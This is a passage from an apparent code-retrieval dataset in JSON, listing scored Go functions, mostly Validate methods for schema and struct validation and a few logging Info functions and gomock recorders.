reflect.New(reflect.TypeOf(s).Elem()).Elem()\n\t\tv.Set(reflect.ValueOf(s).Elem())\n\t} else {\n\t\tv = reflect.New(reflect.TypeOf(s)).Elem()\n\t\tv.Set(reflect.ValueOf(s))\n\t}\n\n\tif v.Kind() != reflect.Struct {\n\t\treturn &validator.InvalidValidationError{Type: v.Type()}\n\t}\n\n\tfor i := 0; i < v.NumField(); i++ {\n\t\tf := v.Field(i)\n\t\tif f.Type().Kind() != reflect.Ptr {\n\t\t\tcontinue\n\t\t}\n\t\tif f.IsNil() {\n\t\t\tf.Set(reflect.New(f.Type().Elem()))\n\t\t}\n\t}\n\n\treturn mv.Struct(v.Interface())\n}", "title": "" }, { "docid": "237fef7525f38ed30c69ba58149fc544", "score": "0.5110218", "text": "func (s *Schema) Validate(doc DocPtr) error {\n\tvalidCtxt := C.xmlSchemaNewValidCtxt(s.Ptr)\n\tif validCtxt == nil {\n\t\t// TODO find error - see below\n\t\treturn errors.New(\"Could not build validator\")\n\t}\n\tdefer C.xmlSchemaFreeValidCtxt(validCtxt)\n\n\tvalidationErrorsMu.Lock()\n\tvalidationErrorsNextIndex++\n\tid := validationErrorsNextIndex\n\tvalidationErrors[id] = []string{}\n\tvalidationErrorsMu.Unlock()\n\tdefer func() {\n\t\tvalidationErrorsMu.Lock()\n\t\tdelete(validationErrors, id)\n\t\tvalidationErrorsMu.Unlock()\n\t}()\n\tC.xmlSchemaSetValidErrors(validCtxt,\n\t\t(C.xmlSchemaValidityErrorFunc)(unsafe.Pointer(C.xmlErrorFunc_cgo)),\n\t\t(C.xmlSchemaValidityErrorFunc)(unsafe.Pointer(C.xmlErrorFunc_cgo)),\n\t\tunsafe.Pointer(&id),\n\t)\n\t/*\n\t\t// My plan was to register my go func to receive errors and pass it an\n\t\t// error ptr specific to this validation (useful for multiple goroutines).\n\t\t// Alas it doesn't work, help appreciated.\n\n\t\tvar err *error\n\t\tif C.xmlSchemaGetValidErrors(validCtxt, C.schemaValidityErrorFunc, nil, unsafe.Pointer(err)) == -1 {\n\t\t\treturn errors.New(\"Could not set error func.\")\n\t\t}\n\t*/\n\n\tif C.xmlSchemaValidateDoc(validCtxt, doc) != 0 {\n\t\t//return errors.New(*err) // When the above works\n\t\treturn errors.New(strings.Join(validationErrors[id], \"\"))\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9b9a0203b7bf3b1ee695bd3450dfc370", "score": "0.51101196", "text": "func (t TruncateType) Validate() error {\n\tif t >= TypeNone && t <= TypeBlock {\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"invalid truncation type: '%v' valid types are: %v\",\n\t\tt, validTruncationTypes)\n}", "title": "" }, { "docid": "27449ab094788c22a4f13e2fc1974424", "score": "0.51087415", "text": "func (s *Mpls_SignalingProtocols) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls_SignalingProtocols\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4dae41ce4007957918e48544cb2173ac", "score": "0.5096731", "text": "func (s *Stp_Rstp_Interface) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Stp_Rstp_Interface\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e45ed57540148a274faf4d7048e3abc5", "score": "0.50909024", "text": "func (m *ServiceBase) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateType(formats); err != nil {\n\t\t// prop\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "070cd599e9f73e00f895692b257587ed", "score": "0.509077", "text": "func (s *Device) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Device\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "57b3c61233f9c95e203079d9c46c5b2b", "score": "0.50883645", "text": "func (s *Mpls_Lsps_StaticLsp) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls_Lsps_StaticLsp\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e00382ea703e4e9d04561aef0e743882", "score": "0.508807", "text": "func (v *StringIsNull) Validate(e *validator.Errors) {\n\tif isNullString(v.Field) {\n\t\treturn\n\t}\n\n\te.Add(v.Name, StringIsNullError(v))\n}", "title": "" }, { "docid": "e17548a5dec67340a44340753fdb2a5c", "score": "0.5080637", "text": "func (m VoiceChatStateType) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// value enum\n\tif err := m.validateVoiceChatStateTypeEnum(\"\", \"body\", m); err != nil {\n\t\treturn err\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e1126fb7292149ffa4a3ca85552f9cbd", "score": "0.5074129", "text": "func (v *Key) validate(value string) error {\n\tvalidator := v.Validator\n\tif validator == nil {\n\t\t// Dummy validator\n\t\tvalidator = func(string) error { return nil }\n\t}\n\n\t// Handle unsetting\n\tif value == \"\" {\n\t\treturn validator(v.Default)\n\t}\n\n\tswitch v.Type {\n\tcase String:\n\tcase Bool:\n\t\tif !shared.StringInSlice(strings.ToLower(value), booleans) {\n\t\t\treturn fmt.Errorf(\"invalid boolean\")\n\t\t}\n\n\tcase Int64:\n\t\t_, err := strconv.ParseInt(value, 10, 64)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid integer\")\n\t\t}\n\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"unexpected value type: %d\", v.Type))\n\t}\n\n\tif v.Deprecated != \"\" && value != v.Default {\n\t\treturn fmt.Errorf(\"deprecated: %s\", v.Deprecated)\n\t}\n\n\t// Run external validation function\n\treturn validator(value)\n}", "title": "" }, { "docid": "bccb0a1ce0fd054a3e780cefe7a84172", "score": "0.50628334", "text": "func (s *LocalRoutes_Static) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"LocalRoutes_Static\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6e9e0a5e59a04d91d2547a324571bbd2", "score": "0.50600916", "text": "func (m APIVisualizationType) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\t// value enum\n\tif err := m.validateAPIVisualizationTypeEnum(\"\", \"body\", m); err != nil {\n\t\treturn err\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "87868f5e00221903ed7cfb2d379bc4cd", "score": "0.50597876", "text": "func (s *Mpls_Global) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls_Global\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "31e41cac9fdb4bf3bf5c3aa7047c770f", "score": "0.5057947", "text": "func (s *Stp_Vlan) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"Stp_Vlan\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4342e5b930ce8f3108682329b8534cd8", "score": "0.50570434", "text": "func (s *System_Dns) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"System_Dns\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "1cb853c32b0398174ecfca597ea2369a", "score": "0.505578", "text": "func (s Space) Validate() error {\n\treturn validation.ValidateStruct(&s,\n\t\tvalidation.Field(&s.Name, validation.Required, validation.Length(1, 25)),\n\t\tvalidation.Field(&s.About, validation.Required, validation.Length(1, 80)),\n\t\tvalidation.Field(&s.Topics, validation.Length(0, 3)),\n\t)\n}", "title": "" }, { "docid": "621f8dea3d58fe231ae97c447de9996f", "score": "0.50554144", "text": "func (s *Size) Validate() error {\n\tif len(s.Items) == 0 {\n\t\treturn ErrInvalidSizeW\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "f11f563db7b1d6cd6ac7d3c3fd48665d", "score": "0.50478125", "text": "func (m *RoleType) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateApplication(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateID(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateName(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4ad44ad878996ae445f1b6c6f9d65544", "score": "0.50448734", "text": "func (s *Stp_Vlan) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Stp_Vlan\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5c3d28b944ca3861987c8c7a9a9b44fc", "score": "0.5043691", "text": "func (h HttpUtil) Validate(schema []byte, input []byte) (*gojsonschema.Result, error) {\n\tschemaLoader := gojsonschema.NewBytesLoader(schema)\n\tdocumentLoader := gojsonschema.NewBytesLoader(input)\n\treturn gojsonschema.Validate(schemaLoader, documentLoader)\n}", "title": "" }, { "docid": "16cba6c798ddd3f5f739a46656960363", "score": "0.5042948", "text": "func (kf *KunstructuredFactoryImpl) validate(u unstructured.Unstructured) error {\n\tkind := u.GetKind()\n\tif kind == \"\" {\n\t\treturn fmt.Errorf(\"missing kind in object %v\", u)\n\t} else if strings.HasSuffix(kind, \"List\") {\n\t\treturn nil\n\t}\n\tif u.GetName() == \"\" {\n\t\treturn fmt.Errorf(\"missing metadata.name in object %v\", u)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "06120752fb0c839e0c5c337bf10f7d9c", "score": "0.50418967", "text": "func ValidateStruct(s interface{}, m map[string]string) error {\n\tval := validator.New()\n\t_ = val.RegisterValidation(\"notblank\", validators.NotBlank)\n\terr := val.Struct(s)\n\tif err != nil {\n\t\terrs := err.(validator.ValidationErrors)\n\t\treturn errors.New(translate(errs, m))\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c4a3f0bfd93d97eda5b8eef1a956bd39", "score": "0.50370455", "text": "func (s *NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa) Validate() error {\n\tif err := ytypes.Validate(SchemaTree[\"NetworkInstance_Protocol_Ospfv2_Area_Lsdb_LsaType_Lsa\"], s); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d908fdabce0aa4dec244fb4fd828973c", "score": "0.5033433", "text": "func (s *Mpls_Lsps_StaticLsp_Egress) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"Mpls_Lsps_StaticLsp_Egress\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8fce84fec87d415f7eddf42812d2aec6", "score": "0.5032196", "text": "func (m *SensorTypeBean) Validate(formats strfmt.Registry) error {\n\tvar res []error\n\n\tif err := m.validateCapabilities(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif err := m.validateName(formats); err != nil {\n\t\tres = append(res, err)\n\t}\n\n\tif len(res) > 0 {\n\t\treturn errors.CompositeValidationError(res...)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b450ceb419189801b92133fa39defcf6", "score": "0.5030443", "text": "func (s *Spec) Validate() error {\n\tif getProtoMessageType(s.MessageName) == nil {\n\t\treturn fmt.Errorf(\"proto message not found: %v\", s.MessageName)\n\t}\n\treturn nil\n}", "title": "" } ]
de32d91988183c21722a045b08ac282c
Info indicates an expected call of Info.
[ { "docid": "9c488dfd68c2849928b521672fe04044", "score": "0.75067717", "text": "func (mr *MockLoggerMockRecorder) Info(msg interface{}, fields ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{msg}, fields...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Info\", reflect.TypeOf((*MockLogger)(nil).Info), varargs...)\n}", "title": "" } ]
[ { "docid": "6d98881ec8f0234c5161d2fbed4a9e36", "score": "0.783922", "text": "func (mr *MockUiMockRecorder) Info(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Info\", reflect.TypeOf((*MockUi)(nil).Info), arg0)\n}", "title": "" }, { "docid": "814e9ec28f37f36a8e0cf71116004a64", "score": "0.77858657", "text": "func (mr *MockBackendClientMockRecorder) Info() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Info\", reflect.TypeOf((*MockBackendClient)(nil).Info))\n}", "title": "" }, { "docid": "ad3957ce892f8d2935609668afe774ac", "score": "0.77111036", "text": "func (mr *MockUploadMockRecorder) Info() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Info\", reflect.TypeOf((*MockUpload)(nil).Info))\n}", "title": "" }, { "docid": "ed656886980c2ecad3522e477326ef90", "score": "0.762768", "text": "func (mr *MockLoggerMockRecorder) Info(arg0 interface{}, arg1 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0}, arg1...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Info\", reflect.TypeOf((*MockLogger)(nil).Info), varargs...)\n}", "title": "" }, { "docid": "10a2c9cdf38ed54cf643e68645570294", "score": "0.754959", "text": "func (mr *StorageMockRecorder) Info(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Info\", reflect.TypeOf((*Storage)(nil).Info), arg0, arg1)\n}", "title": "" }, { "docid": "7512b9eae06b40a6f53789749ca5fcd4", "score": "0.7528047", "text": "func (mr *MockLogSinkMockRecorder) Info(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Info\", reflect.TypeOf((*MockLogSink)(nil).Info), varargs...)\n}", "title": "" }, { "docid": "4ed11dfcc02148aec5480c9b3c775285", "score": "0.7308474", "text": "func (Noop) Info(...interface{}) {}", "title": "" }, { "docid": "8bc7599c516fbb4c0de61172860ca42e", "score": "0.7155403", "text": "func (m BaseMock) Info(input types.RequestInfo) types.ResponseInfo {\n\tvar ret types.ResponseInfo\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tret = m.base.Info(input)\n\t\t}\n\t}()\n\tret = m.Application.Info(input)\n\treturn ret\n}", "title": "" }, { "docid": "70de6b7a07b8cf962c2f55d71d9b0cb0", "score": "0.71345186", "text": "func (logger *MockLogger) Info(message string) {\n\tlogger.Called(message)\n}", "title": "" }, { "docid": "248e255595b585d2c62487d241330d04", "score": "0.7106188", "text": "func Info(msg ...interface{}) {\n\tif info {\n\t\tprintln(\"[INFO] \", msg...)\n\t}\n}", "title": "" }, { "docid": "a9183e77bb02fd2fc57547d0c55f3d04", "score": "0.70329535", "text": "func Info(args ...interface{}) {\n\tDefault().Info(args...)\n}", "title": "" }, { "docid": "dcd472ceb5aa4d0ff45412ea4c346cd0", "score": "0.7030463", "text": "func Info(args ...interface{}) {\n\tstd.Info(args...)\n}", "title": "" }, { "docid": "dcd472ceb5aa4d0ff45412ea4c346cd0", "score": "0.7030463", "text": "func Info(args ...interface{}) {\n\tstd.Info(args...)\n}", "title": "" }, { "docid": "b8729e62b5e82810c603a4e46c38d9b5", "score": "0.7007182", "text": "func AtInfo() bool {\n\treturn minLevel <= InfoLevel\n}", "title": "" }, { "docid": "d784603b3c62d35100ed34a77b34da2d", "score": "0.69114006", "text": "func (_m *Logger) Info(args ...interface{}) {\n\tvar _ca []interface{}\n\t_ca = append(_ca, args...)\n\t_m.Called(_ca...)\n}", "title": "" }, { "docid": "5a0712de0681261981663ef61c2f47c4", "score": "0.6846625", "text": "func (logger *Logger) Info(msg string, a ...interface{}) {\n\tlogger.infoout(logInfoTypeInfo, 0, msg, a...)\n}", "title": "" }, { "docid": "1360757c113228c276fe232b83c7c216", "score": "0.684289", "text": "func (lc MockLogger) Info(msg string, args ...interface{}) {\n}", "title": "" }, { "docid": "9e6b980232ab7bab861bb7fbd60b46c4", "score": "0.683889", "text": "func (c *Console) Info(call otto.FunctionCall) otto.Value {\n\treturn log(loggers.Default(), infoLogType, call)\n}", "title": "" }, { "docid": "f0338cc54ade95c49622d3dd122e9a5a", "score": "0.6826009", "text": "func Info(args ...interface{}) {\n\tinst.Info(args...)\n}", "title": "" }, { "docid": "6bf8037578534649710db5e32c09fddb", "score": "0.68248516", "text": "func (mr *MockSlackerMockRecorder) GetInfo() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetInfo\", reflect.TypeOf((*MockSlacker)(nil).GetInfo))\n}", "title": "" }, { "docid": "bb7ca202a704178fda6946ff25a2b399", "score": "0.68162733", "text": "func (v Verbose) Info(args ...interface{}) {\n\tif v {\n\t\tdoLog(2, infoLevel, args...)\n\t}\n}", "title": "" }, { "docid": "41b05b1525f0a0fff68dc8bae79205a4", "score": "0.68027735", "text": "func TestInfo(t *testing.T) {\n\tbuffer := &bytes.Buffer{}\n\tinfo.SetOutput(buffer)\n\tentry := \"info level message\"\n\tInfo(entry)\n\ttestRegex := fmt.Sprintf(\"^%s - INFO - %s\\\\n$\", dateRegex, entry)\n\tmatched, _ := regexp.MatchString(testRegex, buffer.String())\n\tif !matched {\n\t\tt.Error(\"Info level message function fails\")\n\t}\n}", "title": "" }, { "docid": "ed0aa5de49e61adf12dfef0e3bf881fd", "score": "0.678568", "text": "func Info(args ...interface{}) {\n\tdoLog(2, infoLevel, args...)\n}", "title": "" }, { "docid": "058660a9fb60fd863bde7d52d4180a3a", "score": "0.6782736", "text": "func (*Account) Info(ctx context.Context, req *account.Request, rsp *account.InfoResponse) error {\n\tlog.Log(\"Received Example.Call request\")\n\trsp.Name = \"Hobo\"\n\trsp.Avatar = \"https://avatars3.githubusercontent.com/u/730866?s=460&v=4\"\n\treturn nil\n}", "title": "" }, { "docid": "a44efb7c29871660d8c74b7ff93354c3", "score": "0.67791873", "text": "func Info(v ...interface{}) {\n\tif debug || info {\n\t\tlog.Println(\"[INFO] \", v)\n\t}\n}", "title": "" }, { "docid": "9fda7bba6864bae615a7ba1fb54cf2a2", "score": "0.6776312", "text": "func (testLogger TestLogger) Info(msg ...interface{}) {\n\ttestLogger.T.Helper()\n\ttestLogger.T.Log(\"[Info]\", msg)\n}", "title": "" }, { "docid": "a0d899cd59dd190b77002911b8c85cd3", "score": "0.6762868", "text": "func (_m *Logger) Info(ctx context.Context, format string, args ...interface{}) {\n\tvar _ca []interface{}\n\t_ca = append(_ca, ctx, format)\n\t_ca = append(_ca, args...)\n\t_m.Called(_ca...)\n}", "title": "" }, { "docid": "6edd65cf782eb5352990ca4e4d6c1d89", "score": "0.67595094", "text": "func Info() string {\n\treturn info\n}", "title": "" }, { "docid": "6f6cfe46cede050edb231803fe86cb1e", "score": "0.6752515", "text": "func Info(detail ...interface{}) {\n if l.logLevel < InfoLevel {\n return\n }\n writeLog(InfoFlag, detail...)\n}", "title": "" }, { "docid": "98b9591ca6c1b6c3c22865ef58a7ab63", "score": "0.6739271", "text": "func infoCheck(info string) {\n\tinfolog.Println(info)\n}", "title": "" }, { "docid": "520aeac0ea18242341df6070e29cceb1", "score": "0.67327493", "text": "func Info(msg string) {\n\tlog.Info().Caller().Msg(msg)\n}", "title": "" }, { "docid": "80403d6dba9332b85f4b13e0c03d7cbb", "score": "0.67307544", "text": "func (entry *Entry) Info(msg string) {\n\tentry.Log(InfoLevel, msg)\n}", "title": "" }, { "docid": "6b3cf9ae228b8d2a6364f5616447f58b", "score": "0.67177784", "text": "func Info(v ...interface{}) { Default.Info(v...) }", "title": "" }, { "docid": "32cc6f88019419175a2b48fb03a1381b", "score": "0.67133224", "text": "func (m *Logger) Info(Params ...interface{}) {\n\tm.print(\"Info\", infoColor, Params...)\n}", "title": "" }, { "docid": "939f8acd5a6318959e0225d3de766a17", "score": "0.6711365", "text": "func Info(msg string) {\n\tif CurrentLevel <= InfoLevel {\n\t\tlogMessage(infoAbbrev, msg)\n\t}\n}", "title": "" }, { "docid": "6aa97677dd4fc081efba5041fadd34e6", "score": "0.6711293", "text": "func Info(v ...interface{}) {\n\tstd.append(lInfo, fmt.Sprint(v...))\n}", "title": "" }, { "docid": "efed877752969a41ebd4403e81b065d4", "score": "0.67028314", "text": "func (_m *Logger) Info(format string, args ...interface{}) {\n\tvar _ca []interface{}\n\t_ca = append(_ca, format)\n\t_ca = append(_ca, args...)\n\t_m.Called(_ca...)\n}", "title": "" }, { "docid": "d783a3c95031909a8ad4156d322a361b", "score": "0.6701408", "text": "func (l *Logger) Info(descr string, ctxs ...context.Context) {\n\tl.Log(mkMsg(InfoLevel, descr, ctxs...))\n}", "title": "" }, { "docid": "ad5cb9fb6187f9d66a04477e15b189ea", "score": "0.67008793", "text": "func Info(message string) {\n\twriteLog(\"OK\", message)\n}", "title": "" }, { "docid": "9bd1c0f7960861098fd0d249cf56645c", "score": "0.6697896", "text": "func Info(args ...interface{}) {\n\tl.Info(args...)\n}", "title": "" }, { "docid": "572902df03e4331624acae1b93c198bf", "score": "0.6697733", "text": "func (logger *LoggerImpl) Info(args ...interface{}) {\n\tlogger.log(INFO, nil, args...)\n}", "title": "" }, { "docid": "e9e0b9e71ac8c967784139f15b1f039d", "score": "0.6693844", "text": "func Info(v ...interface{}) {\n\tif level <= LevelInfo {\n\t\tLogger.Printf(\"[I] %v\\n\", v)\n\t}\n}", "title": "" }, { "docid": "8052a4605970a7108492f6620e08454e", "score": "0.66927314", "text": "func (l Basic) Info(args ...interface{}) {\n\tl.write(INFO, nil, args...)\n}", "title": "" }, { "docid": "07c404721efca0b1302594cc143f9b90", "score": "0.6687747", "text": "func Info(args ...interface{}) {\n\tentry.Info(args...)\n}", "title": "" }, { "docid": "eca34dba0dcd01fb2b3421d16d60967f", "score": "0.6684115", "text": "func (l *Logger) Info(message string) {\n\tl.log(\"info\", message)\n}", "title": "" }, { "docid": "e52a639f2c3e4ec5438ca9d2aa4e23d6", "score": "0.6678805", "text": "func (log Branch) Info(args ...interface{}) { log.help(LevelInfo, args) }", "title": "" }, { "docid": "9197df68705b6dba30b24042966077fb", "score": "0.6668477", "text": "func (e *Entry) Info(args ...interface{}) {\n\te.entry.Info(args...)\n}", "title": "" }, { "docid": "39e9f434c3770286c531bcdd7ead41d0", "score": "0.66684127", "text": "func Info(v ...interface{}) {\n\tlogit(\"INFO\", colorGreen, v...)\n}", "title": "" }, { "docid": "f3eafb7c2a750a6f0cade703740525a6", "score": "0.6663047", "text": "func (v Verbose) Info(args ...interface{}) {\n\tif v {\n\t\tlogging.print(infoLog, args...)\n\t}\n}", "title": "" }, { "docid": "abcde3ac8c451c3632c017688e030fad", "score": "0.6653874", "text": "func Info(args ...interface{}) {\n\tlog_(INFO, nil, args...)\n}", "title": "" }, { "docid": "82c4348477b72270be52b3d52c4e8e28", "score": "0.66464496", "text": "func Info(s interface{}) {\n\tinfoLogger.Println(s)\n}", "title": "" }, { "docid": "31c36688d452aec092b320b7b652ac11", "score": "0.6634984", "text": "func Info(args ...interface{}) {\n\tmessage := formatMessage(args...)\n\tprintMessage(\"INFO \", message)\n}", "title": "" }, { "docid": "c84c3bb891ca672c0310dc52d9a69c4b", "score": "0.66243297", "text": "func Info(m string) {\n\tinfoLogger.Println(m)\n}", "title": "" }, { "docid": "5d68fc8404ac46a6187b5134aca62afb", "score": "0.66171515", "text": "func Info(v ...interface{}) {\n\tWithLevel(info, v...)\n}", "title": "" }, { "docid": "bc7ee7f1a87f1ca9e57ccb3b7a754b4d", "score": "0.6612846", "text": "func (logger *Logger) Info(a ...interface{}) {\n\tlogger.log(INFO, \"\", a...)\n}", "title": "" }, { "docid": "42a2c3208df4154d0255878926d0c6ef", "score": "0.66124815", "text": "func Info(args ...interface{}) {\n\tlogs(_infoLevel, args...)\n}", "title": "" }, { "docid": "b6db4b80cb98369815b204ec7ceb783e", "score": "0.6607726", "text": "func (e *ELogger) Info(a ...interface{}) {\n\tif log.INFO < e.Level() {\n\t\treturn\n\t}\n\te.Output(e.recordFactory(e.Name(), 2, log.INFO, fmt.Sprint(a...)))\n}", "title": "" }, { "docid": "5a0159ddb9a4a8c84a842c6038252cec", "score": "0.66062474", "text": "func (o *Radau5) Info() (fixedOnly, implicit bool, nstages int) {\n\treturn false, true, 3\n}", "title": "" }, { "docid": "b139473adc6f2953391de27651116d9d", "score": "0.65875965", "text": "func (m *SwaggerSpec) Info(\n\ttitle string,\n\tdescription string,\n\tversion string,\n\tcontactName string,\n) {\n\tm.Swagger.Info = &spec.Info{\n\t\tInfoProps: spec.InfoProps{\n\t\t\tTitle: title,\n\t\t\tDescription: description,\n\t\t\tVersion: version,\n\t\t\tContact: &spec.ContactInfo{\n\t\t\t\tName: contactName,\n\t\t\t},\n\t\t},\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "6733c4bb8ae6ef995a1eb63e1ad3528f", "score": "0.6580434", "text": "func Info(v ...interface{}) {\n\tmutex.Lock()\n\tterminate := false\n\texitVal := 0\n\tmutex.Unlock()\n\tINFO.output(terminate, exitVal, v...)\n}", "title": "" }, { "docid": "29be5ca2686d910aaef77592fd4e5b92", "score": "0.6576358", "text": "func Info(msgFmt string, v ...interface{}) {\n\tif logLevel < LevelInfo {\n\t\treturn\n\t}\n\tprint(\"92\", \"INF\", msgFmt, v...)\n}", "title": "" }, { "docid": "7182752cf5c64db6b34c00c77602a573", "score": "0.6562017", "text": "func (l *NullLogger) IsInfo() bool {\n\treturn false\n}", "title": "" }, { "docid": "bcd6f51ee0dd6265a88b8bfd8bb39ce2", "score": "0.65607333", "text": "func Info(msg string) {\n\tLog(INFO, msg)\n}", "title": "" }, { "docid": "0a265c554b899ab9b773a55ea3fea265", "score": "0.65606517", "text": "func (e Exp) Info() Exp {\n\treturn naryOperator(infoKind, e)\n}", "title": "" }, { "docid": "dce44361301d37b1c06f54450e811837", "score": "0.65595853", "text": "func (l *StdLogger) Info(args ...interface{}) {\n\tif l.LogLevel() <= LogLevels.Info {\n\t\tl.infoLog.Println(args...)\n\t}\n}", "title": "" }, { "docid": "5bbea2701f8fa86929dc5750df5decaa", "score": "0.65591055", "text": "func (l *Logger) Info(v interface{}) {\n\tl.Log(logging.Info, v)\n}", "title": "" }, { "docid": "277d5fce759652b57507622840c67de6", "score": "0.65528846", "text": "func (entry *LogrusEntry) Info(args ...interface{}) {\n\tentry.internalEntry.Info(args...)\n}", "title": "" }, { "docid": "baeb7ca77901d8ea831da42b79ead50b", "score": "0.65515834", "text": "func Info(args ...interface{}) {\n\toutput(levelInfo, args...)\n}", "title": "" }, { "docid": "837a1c80fa5ebcc43940a0c173acdace", "score": "0.6548251", "text": "func Info(msg string, args ...interface{}) {\n\n\tif level & INFO != 0 {\n\n\t\twriteMessage(\"INFO\", msg, args...)\n\n\t}\n}", "title": "" }, { "docid": "ddfb2b587b4293c66e3baa2b3648a19e", "score": "0.65462285", "text": "func Info(msg string, fields ...zap.Field) {\n\tL().Info(msg, fields...)\n}", "title": "" }, { "docid": "84ae2614983b27ccc9248812aa76724f", "score": "0.65458554", "text": "func (l *Logger) Info(v ...interface{}) {\n\tif l.level > levelInfo {\n\t\treturn\n\t}\n\n\tl.Log(\"%v\", v...)\n}", "title": "" }, { "docid": "bde1ee70605263d9ab1bbbf78fa73ff5", "score": "0.6542735", "text": "func (s *StdLog) Info(v string) {\n\ts.Log.Println(\"info:\", rmNl(v))\n}", "title": "" }, { "docid": "d7159bba1256e7aa28f0bcf39fd6ebd6", "score": "0.65406156", "text": "func (logger *Logger) Info(args ...interface{}) {\n\tlogger.entry().Info(args...)\n}", "title": "" }, { "docid": "777eb3ec1c143083405090cbd55b1236", "score": "0.6536942", "text": "func (l EmptyLogger) Info(args ...interface{}) {}", "title": "" }, { "docid": "1faae96e344b3b125b29a554862e447f", "score": "0.6532909", "text": "func (l *Logger) Info(msg string) {\n\tl.log(Info, \"%s\", msg)\n}", "title": "" }, { "docid": "3ae366fb3c63292332a7f56358aea11d", "score": "0.6526759", "text": "func (l *Logger) Info(args ...interface{}) {\n\tl.record(\"Info\")\n\tl.writeLog((*zap.Logger).Info, fmt.Sprint(args...))\n}", "title": "" }, { "docid": "61d5a057cedcff792781b1b20644c318", "score": "0.65258956", "text": "func Info(args ...interface{}) {\n\tlogging.print(infoLog, args...)\n}", "title": "" }, { "docid": "422834e7012a2af7cce94c0dc682e5a5", "score": "0.6518877", "text": "func (l *Logger) Info(args ...interface{}) {\n\tl.log(SeverityInfo, args...)\n}", "title": "" }, { "docid": "32ae9ce428e5d0d3d754e6b26d37aec2", "score": "0.6515484", "text": "func Info(message string) {\n\tlog.Println(message)\n}", "title": "" }, { "docid": "d28b95effdd5abdcdf2f61668d1d8ee0", "score": "0.6515414", "text": "func Info(f string, a ...interface{}) {\n\tBase(os.Stdout, \"INFO\", fmt.Sprintf(f, a...), 2, false)\n}", "title": "" }, { "docid": "8feb5160da3c0f8a19775fe1041f3bc4", "score": "0.651042", "text": "func Info(message string, fields ...interface{}) {\n\tzap.S().Infof(message, fields...)\n}", "title": "" }, { "docid": 